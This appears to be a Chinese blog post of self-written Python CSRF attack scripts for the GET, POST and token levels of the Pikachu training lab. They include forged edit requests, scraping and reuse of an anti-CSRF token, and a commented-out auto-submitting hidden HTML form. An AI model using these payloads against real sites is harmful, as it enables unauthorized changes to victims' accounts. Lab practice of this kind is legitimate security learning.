当前位置: 首页 > news >正文

pikachu自编CSRF(GET),CSRF(POST),CSRF(token)

#与get相似,只是修改了一些请求方式
#这个漏洞产生的验证就是token实时验证,以及前端存在的Cookie验证,需要验证两个

自编CSRF(GET),

import requests from urllib.parse import urlencode target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php" check_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfget/csrf_get.php" #后续检测是否修改 payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF执行成功", "email":"123.COM", "submit":"submit" } query_str = urlencode(payload)#因为+号前后要保持类型一致,需要对字典进行urlencode()编码一下 alert_target = target_url + "?" + query_str print(f"需要发送给用户的链接为:{alert_target}") #模仿用户被攻击 #用户点击被特意构造的payload headers = { "Cookie":"PHPSESSID=df0u2o787mgfgc0avf392ksd7g" } requests.get(target_url, params=payload, headers=headers ) resp = requests.get(check_url,headers=headers) print("[+] 注入完成 ") print("[+] 检查注入是否成功: ","CSRF执行成功" in resp.text)

CSRF(POST),

#与get相似,只是修改了一些请求方式 import requests target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" get_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post.php" payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF的POST攻击", "email":"qq.com", "submit":"submit" } #构造攻击的url,模仿被攻击 Session = requests.Session() headers ={ "Cookie":"PHPSESSID=49mmcmofpdtoh0vn7jvkoj13r2" } requests.post(target_url, data=payload, headers=headers) # resp = requests.get(get_url, headers=headers) print("[+] 攻击完成 ") if "123456" in resp.text: print("[+] 查看是否注入成功! ") else: print("[-] 注入失败 !" )

CSRF(token)

#这个漏洞产生的验证就是token实时验证,以及前端存在的Cookie验证,需要验证两个 """ get构造 # 拼接成可攻击的URL evil_url = target_url + "?" + urlencode(payload) payload = target_ul + "?" + urlencode(payload) """ import requests import re # target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get_edit.php" # # payload = { # "sex":"girl", # "phonenum":"123456", # "add":"CSRF-token", # "email":"321@qq.com", # "submit":"submit" # } # # html = ''' # <form action="http://192.168.8.1/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> # <input type="hidden" name="sex" value="girl"> # <input type="hidden" name="phonenum" value="123456"> # <input type="hidden" name="add" value="CSRF-POST"> # <input type="hidden" name="email" value="123@qq.com"> # <input type="hidden" name="submit" value="submit"> # </form> # <script>document.forms[0].submit()</script> # ''' # # with open("CSRF_token.html","w",encoding = "utf-8") as f: # f.write(html) # # print("[+] 攻击脚本已写好CSRF_token.html") #假设中招了 target_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get_edit.php" get_url = "http://192.168.8.1/pikachu-master/vul/csrf/csrftoken/token_get.php" session = requests.Session() headers = { "Cookie": "PHPSESSID=if9t2mbpc5c5rf83p1slcn7748" } session.get(get_url, headers=headers) target_get = session.get(url=target_url, headers=headers) token = re.search(r'name="token" value="(.*?)"',target_get.text).group(1) print(f"[+] 已获取实时Token:{token}") payload = { "sex":"girl", "phonenum":"123456", "add":"CSRF-token", "email":"321@qq.com", "token":token, "submit":"submit" } # resp = requests.get(get_url,headers=headers) session.post(url=target_url, data=payload, headers=headers) session.get(target_url, headers=headers) resp = session.get(url=get_url, headers=headers) print("[+] 注入成功") print("[+] 检查测是否正常注入: ", "CSRF-token" in resp.text)
http://www.cnnetsun.cn/news/2135708.html

相关文章:

  • 别再只扫22和3389了!利用5985端口WinRM的隐蔽横向移动手法详解
  • 用ESP32S3 Sense和Arduino,35块钱做个能听懂你说话的AI小助手(附完整代码)
  • 工业场景大面积扫码的技术实现与系统对接方案
  • 降AI率怎么花钱最值?5款主流工具综合性价比盘点毕业生必看!
  • 2025届学术党必备的十大降AI率助手实测分析
  • 2025届学术党必备的五大降重复率网站实测分析
  • 苹果前AI主管离职,兼职加盟CuspAI开拓美国市场
  • 2026年项目管理软件革命:AI与混合现实重塑协作生态
  • 告别Cygwin!用Python+EarthData API搞定MODIS数据自动下载(附完整脚本)
  • 长芯微LD8568完全P2P替代ADS8568,六通道16位精度,250KSPS模数转换器芯片
  • 抖音视频批量下载终极指南:4步打造你的专属内容库
  • 5分钟掌握Audio Slicer:免费高效的音频智能分割终极指南
  • 揭秘VS Code MCP认证失败的底层原因:基于VS Code源码级分析的6大握手失败场景及Wireshark抓包验证法
  • 【研报403】2026年传感器自动校准技术研判报告:2028年技术路线分叉与产业格局
  • 用Flink SQL的ROLLUP和CUBE,5分钟搞定电商订单的多维度实时分析报表
  • 如何用WechatBot轻松打造你的专属微信助手:小白也能上手的完整指南
  • 2026年玻璃双边磨边机厂家选型参考与对比解析
  • 阿里面试:Redis缓存穿透怎么解决?别再只答缓存空值了
  • 从‘列表越界’到写出健壮代码:Python异常处理的实战心得与最佳实践
  • 程序设计-有一个实时交易系统,成交价格会持续写入。现在需要你设计一个模块,能够:实时接收新的成交价,在任意时刻快速返回当前成交价的中位数
  • 知网/万方双重机检底座下,哪些降重软件可以同时降低查重率和AIGC疑似率?
  • 手把手教你为Aocoda F405V2飞控升级AT32F435芯片:引脚兼容性检查与固件适配要点
  • CDMA2000基站测试关键技术解析与工程实践
  • OpenClaw AI运维速查手册:单文件HTML打造终端高效查询工具
  • ZIP密码恢复革命:bkcrack如何用已知明文攻击3分钟解锁加密文件
  • 避坑指南:YOLOv8-pose关键点训练数据准备,Labelme标注的3个常见错误与修复脚本
  • FPGA新手避坑指南:用Verilog在Spartan-6上搞定IS62LV256 SRAM读写(附完整代码)
  • 智能优化光伏系统电池参数辨识与状态评估实现【附代码】
  • 解锁论文降重新姿势:书匠策AI,你的学术减负小能手!
  • 从RGB-D数据到3D感知:Kinect V2深度图与彩色图对齐实战(Python/OpenCV)